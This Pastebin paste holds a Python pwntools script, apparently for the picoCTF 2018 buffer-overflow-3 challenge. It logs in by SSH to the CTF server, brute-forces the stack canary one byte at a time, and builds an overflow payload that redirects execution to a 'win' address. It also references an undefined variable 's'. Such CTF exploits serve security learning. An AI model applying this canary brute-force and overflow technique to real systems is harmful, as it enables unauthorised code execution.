Advertisement
Guest User

Untitled

a guest
Dec 31st, 2018
141
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.79 KB | None | 0 0
  1. from pwn import *
  2. import sys
  3.  
  4. # context.log_level = 'debug'
  5.  
  6. win = '\xeb\x86\x04\x08'
  7. firstPart = 'A' * 32
  8. #exploit should be 32 random bytes + canary (4 bytes) + 12 bytes to fill up the remaining space under ebp + 4 bytes to fill ebp + win address: 56 bytes total
  9. middlePart = 'A' * 16
  10. canary = ''
  11.  
  12. remoteShell = ssh(host = '2018shell1.picoctf.com', user=sys.argv[1], password=sys.argv[2])
  13. remoteShell.set_working_directory('/problems/buffer-overflow-3_3_6bcc2aa22b2b7a4a7e3ca6b2e1194faf')
  14. for i in range(0, 4):
  15. for j in range(256):
  16. p=s.process('./vuln')
  17. p.sendlineafter('>', str(i + 32 + 1))
  18. p.sendafter('>', firstPart + canary + chr(j))
  19. response = p.recvall()
  20. if 'Stack Smashing' not in response:
  21. canary += chr(j)
  22. break
  23. print firstPart + canary + middlePart + win
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement